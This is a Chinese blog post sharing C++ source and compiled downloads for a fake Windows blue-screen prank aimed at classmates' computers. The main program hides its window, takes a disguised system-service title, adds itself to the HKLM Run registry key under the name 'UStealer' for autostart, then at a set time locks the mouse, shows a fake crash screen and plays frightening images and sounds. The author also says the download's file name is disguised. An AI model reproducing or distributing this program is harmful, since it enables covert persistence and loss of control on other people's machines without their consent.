huidong

首页 | 会员登录 | 关于争取 2022 寒假做出汇东网 Ver3.0.0 !
搜索文章


#include <graphics.h>
#include <stdio.h>
#include <conio.h>
#include <windows.h> 
#include <WinUser.h>
#include <time.h>
int main()
{
    //窗口大小为屏幕大小
    initgraph(GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));
    //设置全屏
    HWND hwnd = GetHWnd();
    SetWindowLong(hwnd, GWL_STYLE, GetWindowLong(hwnd, GWL_STYLE) - WS_CAPTION);
    SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), SWP_SHOWWINDOW);
    setorigin(0,0);
    setbkcolor(BLUE);
    cleardevice();
    settextcolor(WHITE);
    settextstyle(30, 0, L"system");
    RECT r = { 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN) };
    drawtext(    L"\r\nA problem has been detected and windows has been shut down to pravant damage to your computer.\r\n\r\n"
                L"If this is the first time you've seen this stop arror screen, restart your computer, If this screen appears again, follow thesestops :\r\n\r\n"
                L"Disable or unistall any anti-virus, disk aefragmentation or backup utillties. Check your hard drive configuration, "
                L"and check for any updated arivers, Run CHKDSK /F to check for hard drive corruption, and then restart your computer, "
                L"Technical information:\r\n\r\n"
                L"*** STOP: 0x00000024 (0x00FFFFFFFF190203,0x80FFFFFFFF1E8878,0xC0FFFFFFFF000102,0x00FFFFFFFF000000)", &r, DT_LEFT | DT_WORDBREAK);
    _getch();
    closegraph();
    return 0;
}


这显示了一个蓝屏的界面。


图片.png


程序突然弹出来,还是蛮吓人的。


这里有个更毒的:恶作剧专门版

先说一下背景:最近新冠肺炎爆发,寒假放了好久,5.12才开学,开学之后,睡完午觉之后有个活动就是做“心灵健康操”。

于是我想,这玩意在这个时候进行恶作剧正好,于是今日,5.23下午,我写了一个恶作剧程序,它是这样的:


启动程序 -> 隐藏窗口 -> 设置开机自启 -> 死循环等待到指定时间(午觉后) -> 显示窗口 -> 锁死鼠标 -> 显示蓝屏(停5s) -> 开始弹出目录下的img.bmp以及播放music.mp3(默认都是黑人抬棺的图片和音乐) -> 播放完毕,显示目录下的scared_img.bmp并播放scared_music.mp3(默认是贞子和鬼笑) -> 显示文字(默认为“心灵健康操”) -> 关闭程序


程序的许多参数是程序同级目录下的ini文件设定的,可以进行修改,ini中也有注释


先上源码:

#include <graphics.h>
//#include <mmdeviceapi.h>
//#include <audioclient.h>
//#include <endpointvolume.h>
#include <thread>
#include <stdio.h>
#include <conio.h>
#include <windows.h> 
#include <WinUser.h>
#include <time.h>
//要添加这两个头文件,缺一不可
#include <windows.h>
#include <winuser.h>
#include <locale.h>

// 引用 Windows Multimedia API
#pragma comment(lib,"Winmm.lib")

void HKRunator()
{
    //获取程序路径

    wchar_t programName[100] = { 0 };
    GetModuleFileName(NULL, programName, 100); //调用win api 获得路径

    //获取程序路径 -- 结束

    HKEY hkey = NULL;
    DWORD rc;

    rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE,                      //创建一个注册表项,如果有则打开该注册表项
        L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_ALL_ACCESS,
        NULL,
        &hkey,
        NULL);

    if (rc == ERROR_SUCCESS)
    {
        rc = RegSetValueEx(hkey,
            L"UStealer",
            0,
            REG_SZ,
            (const BYTE*)programName,
            lstrlen(programName));
        if (rc == ERROR_SUCCESS)
        {
            RegCloseKey(hkey);
        }
    }
}

// 锁鼠标
void MouseLock()
{
    while (true)
    {
        SetCursorPos(GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));
        Sleep(10);
    }
}

//创建随机数
//调用前需要:srand((unsigned)time(NULL));
int CreatRandomNum(int min, int max)
{
    /*
    *int min:生成的随机数最小值
    *int max:生成的随机数最大值
    */
    int ntime;
    ntime = rand() % max + min;
    //返回值即是生成结果
    return ntime;
}


// 输出蓝屏文字
void PrintWord()
{
    // 输出蓝屏信息
    RECT r = { 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN) };
    drawtext(L"\r\nA problem has been detected and windows has been shut down to pravant damage to your computer.\r\n\r\n"
        L"if tHis is the first time you've seen this stop arror screen, restart your compUter, If this screen appears again, follow thesestops :\r\n\r\n"
        L"Disable Or uNistall any anti-virus, disk aefraGmentation or backup utillties. Check your hard drive configuration, "
        L"and check for any updated arivers, Run CHKDSK /F to check for hard drive corruption, and then restart your computer, "
        L"Technical information:\r\n\r\n"
        L"*** STOP: 0x00000024 (0x00FFFFFFFF190203,0x80FFFFFFFF1E8878,0xC0FFFFFFFF000102,0x00FFFFFFFF000000)", &r, DT_LEFT | DT_WORDBREAK);
}


// 设置系统主音量 (范围:0~100)
void SetVolume(int level)
{
    //HRESULT hr;
    //IMMDeviceEnumerator* pDeviceEnumerator = 0;
    //IMMDevice* pDevice = 0;
    //IAudioEndpointVolume* pAudioEndpointVolume = 0;
    //IAudioClient* pAudioClient = 0;

    //try
    //{
    //    // 初始化接口
    //    hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pDeviceEnumerator);
    //    if (FAILED(hr)) throw "CoCreateInstance(MMDeviceEnumerator)";
    //    hr = pDeviceEnumerator->GetDefaultAudioEndpoint(eRender, eMultimedia, &pDevice);
    //    if (FAILED(hr)) throw "GetDefaultAudioEndpoint";
    //    hr = pDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_ALL, NULL, (void**)&pAudioEndpointVolume);
    //    if (FAILED(hr)) throw "Active(IAudioEndpointVolume)";
    //    hr = pDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&pAudioClient);
    //    if (FAILED(hr)) throw "Active(IAudioClient)";

    //    // 调整音量到有效范围
    //    if (level < 0) level = 0;
    //    if (level > 100) level = 100;

    //    // 设置系统主音量
    //    float fVolume;
    //    fVolume = level / 100.0f;
    //    hr = pAudioEndpointVolume->SetMasterVolumeLevelScalar(fVolume, &GUID_NULL);
    //    if (FAILED(hr)) throw "SetMasterVolumeLevelScalar";

    //    // 释放接口
    //    pAudioClient->Release();
    //    pAudioEndpointVolume->Release();
    //    pDevice->Release();
    //    pDeviceEnumerator->Release();
    //}
    //catch (...)        // 捕获异常
    //{
    //    if (pAudioClient) pAudioClient->Release();
    //    if (pAudioEndpointVolume) pAudioEndpointVolume->Release();
    //    if (pDevice) pDevice->Release();
    //    if (pDeviceEnumerator) pDeviceEnumerator->Release();
    //    throw;
    //}
}



int main()
{
    setlocale(LC_ALL, "zh_CN.utf8");

    //窗口大小为屏幕大小
    initgraph(GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));

    // 设置窗口标题,掩人耳目
    SetWindowText(GetHWnd(),L"System.Microsoft.NetService");

    // 时间未到,先隐藏窗口
    ShowWindow(GetHWnd(), SW_HIDE);

    // 模式
    int isSetBootStart = GetPrivateProfileInt(L"Data", L"mode", 1, L"./data.ini");
    // 音乐长度
    int nMusicLong = GetPrivateProfileInt(L"Data", L"music_long", 50000, L"./data.ini");
    // 开始时间
    int nHour = GetPrivateProfileInt(L"Data", L"hour", 14, L"./data.ini");
    int nMin = GetPrivateProfileInt(L"Data", L"min", 12, L"./data.ini");
    // 结尾文字
    wchar_t text[64];
    GetPrivateProfileString(L"Data", L"text", L"E R R O R", text, 64, L"./data.ini");

    // 设置开机自启模式
    if (isSetBootStart == 0)
    {
        // 开机自启
        HKRunator();
        return 0;
    }

    // 等到开始的时间
    while (true)
    {
        //获取时间
        SYSTEMTIME sys;
        GetLocalTime(&sys);

        // 时间一到,退出循环
        if (sys.wHour == nHour && sys.wMinute == nMin)
        {
            break;
        }

        Sleep(10);
    }

    // 显示窗口
    ShowWindow(GetHWnd(), SW_SHOW);

    // 开一个多线程锁鼠标
    std::thread(MouseLock).detach();

    //设置全屏
    HWND hwnd = GetHWnd();
    SetWindowLong(hwnd, GWL_STYLE, GetWindowLong(hwnd, GWL_STYLE) - WS_CAPTION);
    SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), SWP_SHOWWINDOW);


    setbkcolor(BLUE);
    settextcolor(WHITE);
    settextstyle(30, 0, L"system");
    
    int start = clock();

    // 打开音乐
    mciSendString(_T("open music.mp3 alias mymusic"), NULL, 0, NULL);

    BeginBatchDraw();

    srand((unsigned)time(NULL));

    while (true)
    {
        cleardevice();

        PrintWord();

        // 如果时间到了(5s)
        if (clock() - start > 5000)
        {
            // 加载图片
            IMAGE img;
            loadimage(&img, L"./img.bmp");

            // 播放音乐
            mciSendString(_T("play mymusic"), NULL, 0, NULL);

            // 初始化 com
            //::CoInitialize(NULL);

            // 延时以播放音乐
            while (clock() - start < nMusicLong + 5000)
            {
                // 设置音量
                //SetVolume(100 - (clock() - start) / start);

                cleardevice();

                PrintWord();

                // 随机放置图片
                putimage(CreatRandomNum(0, GetSystemMetrics(SM_CXSCREEN)), CreatRandomNum(0, GetSystemMetrics(SM_CYSCREEN)), &img);

                Sleep(100);
                FlushBatchDraw();
            }

            // 释放 com
            //::CoUninitialize();

            // 停止播放并关闭音乐
            mciSendString(_T("stop mymusic"), NULL, 0, NULL);
            mciSendString(_T("close mymusic"), NULL, 0, NULL);

            break;
        }

        Sleep(10);
        FlushBatchDraw();
    }
    EndBatchDraw();

    setbkcolor(BLACK);
    cleardevice();

    loadimage(NULL, L"./scared_img.bmp");

    // 打开音乐
    mciSendString(_T("open scared_music.mp3 alias mymusic"), NULL, 0, NULL);

    // 播放音乐
    mciSendString(_T("play mymusic"), NULL, 0, NULL);

    // 延时以播放音乐
    Sleep(4000);

    // 停止播放并关闭音乐
    mciSendString(_T("stop mymusic"), NULL, 0, NULL);
    mciSendString(_T("close mymusic"), NULL, 0, NULL);

    cleardevice();

    settextcolor(RED);
    settextstyle(128, 0, L"system");

    RECT r = { 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN) };

    drawtext(text, &r, DT_CENTER | DT_VCENTER | DT_SINGLELINE);
    Sleep(400);
    cleardevice();
    drawtext(L"hd", &r, DT_CENTER | DT_VCENTER | DT_SINGLELINE);
    Sleep(50);
    cleardevice();

    closegraph();
    return 0;
}


在播放音乐时本来有一个控制电脑音量的功能,但是我这里编译有点问题,就先注释了。


效果图就不上了,自己运行感受下吧!


编译好的文件:(内含所需资源,不会对电脑产生危害,请放心打开,过一会就会自动关闭)(记得改ini里的运行时间为现在的时间,否则会不运行)


Release.zip



图片.png

(这个文件名是伪装用的)



For XP ( build by VC6 )


文件:

BlueScreen.zip


源码:

#include <graphics.h>
#include <stdio.h>
#include <conio.h>
#include <windows.h> 
#include <WinUser.h>
#include <time.h>
//要添加这两个头文件,缺一不可
#include <windows.h>
#include <winuser.h>
#include <locale.h>
 
// 引用 Windows Multimedia API
#pragma comment(lib,"Winmm.lib")
 
void HKRunator()
{
    //获取程序路径
 
    char programName[100] = { 0 };
    GetModuleFileName(NULL, programName, 100); //调用win api 获得路径
 
    //获取程序路径 -- 结束
 
    HKEY hkey = NULL;
    DWORD rc;
 
    rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE,                      //创建一个注册表项,如果有则打开该注册表项
        "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_ALL_ACCESS,
        NULL,
        &hkey,
        NULL);
 
    if (rc == ERROR_SUCCESS)
    {
        rc = RegSetValueEx(hkey,
            "UStealer",
            0,
            REG_SZ,
            (const BYTE*)programName,
            lstrlen(programName));
        if (rc == ERROR_SUCCESS)
        {
            RegCloseKey(hkey);
        }
    }
}
 
//创建随机数
//调用前需要:srand((unsigned)time(NULL));
int CreatRandomNum(int min, int max)
{
    /*
    *int min:生成的随机数最小值
    *int max:生成的随机数最大值
    */
    int ntime;
    ntime = rand() % max + min;
    //返回值即是生成结果
    return ntime;
}
 
 
// 输出蓝屏文字
void PrintWord()
{
    // 输出蓝屏信息
    RECT r = { 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN) };
    drawtext("\r\nA problem has been detected and windows has been shut down to pravant damage to your computer.\r\n\r\n"
        "if tHis is the first time you've seen this stop arror screen, restart your compUter, If this screen appears again, follow thesestops :\r\n\r\n"
        "Disable Or uNistall any anti-virus, disk aefraGmentation or backup utillties. Check your hard drive configuration, "
        "and check for any updated arivers, Run CHKDSK /F to check for hard drive corruption, and then restart your computer, "
        "Technical information:\r\n\r\n"
        "*** STOP: 0x00000024 (0x00FFFFFFFF190203,0x80FFFFFFFF1E8878,0xC0FFFFFFFF000102,0x00FFFFFFFF000000)", &r, DT_LEFT | DT_WORDBREAK);
}
 
int WINAPI _tWinMain
(
    HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPTSTR lpCmdLine,
    int nShowCmd
)
{
    setlocale(LC_ALL, "zh_CN.utf8");
 
    //窗口大小为屏幕大小
    initgraph(GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));
 
    // 设置窗口标题,掩人耳目
    SetWindowText(GetHWnd(),"System.Microsoft.NetService");
 
    // 时间未到,先隐藏窗口
    ShowWindow(GetHWnd(), SW_HIDE);
 
    // 模式
    int isSetBootStart = GetPrivateProfileInt("Data", "mode", 1, "./data.ini");
    // 音乐长度
    int nMusicLong = GetPrivateProfileInt("Data", "music_long", 50000, "./data.ini");
    // 开始时间
    int nHour = GetPrivateProfileInt("Data", "hour", 14, "./data.ini");
    int nMin = GetPrivateProfileInt("Data", "min", 12, "./data.ini");
    // 结尾文字
    char text[64];
    GetPrivateProfileString("Data", "text", "E R R O R", text, 64, "./data.ini");
 
    // 设置开机自启模式
    if (isSetBootStart == 0)
    {
        // 开机自启
        HKRunator();
        return 0;
    }
 
    // 等到开始的时间
    while (true)
    {
        //获取时间
        SYSTEMTIME sys;
        GetLocalTime(&sys);
 
        // 时间一到,退出循环
        if (sys.wHour == nHour && sys.wMinute == nMin)
        {
            break;
        }
 
        Sleep(10);
    }
 
    // 显示窗口
    ShowWindow(GetHWnd(), SW_SHOW);

    //设置全屏
    HWND hwnd = GetHWnd();
    SetWindowLong(hwnd, GWL_STYLE, GetWindowLong(hwnd, GWL_STYLE) - WS_CAPTION);
    SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), SWP_SHOWWINDOW);
 
 
    setbkcolor(BLUE);
    settextcolor(WHITE);
    settextstyle(30, 0, "system");
     
    int start = clock();
 
    // 打开音乐
    mciSendString(_T("open music.mp3 alias mymusic"), NULL, 0, NULL);
 
    BeginBatchDraw();
 
    srand((unsigned)time(NULL));
 
    while (true)
    {
        cleardevice();
 
        PrintWord();
 
        // 如果时间到了(5s)
        if (clock() - start > 5000)
        {
            // 加载图片
            IMAGE img;
            loadimage(&img, "./img.bmp");
 
            // 播放音乐
            mciSendString(_T("play mymusic"), NULL, 0, NULL);
 
            // 初始化 com
            //::CoInitialize(NULL);
 
            // 延时以播放音乐
            while (clock() - start < nMusicLong + 5000)
            {
                // 设置音量
                //SetVolume(100 - (clock() - start) / start);
 
                cleardevice();
 
                PrintWord();
 
                // 随机放置图片
                putimage(CreatRandomNum(0, GetSystemMetrics(SM_CXSCREEN)), CreatRandomNum(0, GetSystemMetrics(SM_CYSCREEN)), &img);
 
                Sleep(100);
                FlushBatchDraw();
            }
 
            // 释放 com
            //::CoUninitialize();
 
            // 停止播放并关闭音乐
            mciSendString(_T("stop mymusic"), NULL, 0, NULL);
            mciSendString(_T("close mymusic"), NULL, 0, NULL);
 
            break;
        }
 
        Sleep(10);
        FlushBatchDraw();
    }
    EndBatchDraw();
 
    setbkcolor(BLACK);
    cleardevice();
 
    loadimage(NULL, "./scared_img.bmp");
 
    // 打开音乐
    mciSendString(_T("open scared_music.mp3 alias mymusic"), NULL, 0, NULL);
 
    // 播放音乐
    mciSendString(_T("play mymusic"), NULL, 0, NULL);
 
    // 延时以播放音乐
    Sleep(4000);
 
    // 停止播放并关闭音乐
    mciSendString(_T("stop mymusic"), NULL, 0, NULL);
    mciSendString(_T("close mymusic"), NULL, 0, NULL);
 
    cleardevice();
 
    settextcolor(RED);
    settextstyle(128, 0, "system");
 
    RECT r = { 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN) };
 
    drawtext(text, &r, DT_CENTER | DT_VCENTER | DT_SINGLELINE);
    Sleep(400);
    cleardevice();
    drawtext("F*O*R E*V*E*R*Y*O*N*E", &r, DT_CENTER | DT_VCENTER | DT_SINGLELINE);
    Sleep(50);
    cleardevice();
 
    closegraph();
    return 0;
}




返回首页


Copyright (C) 2018-2024 huidong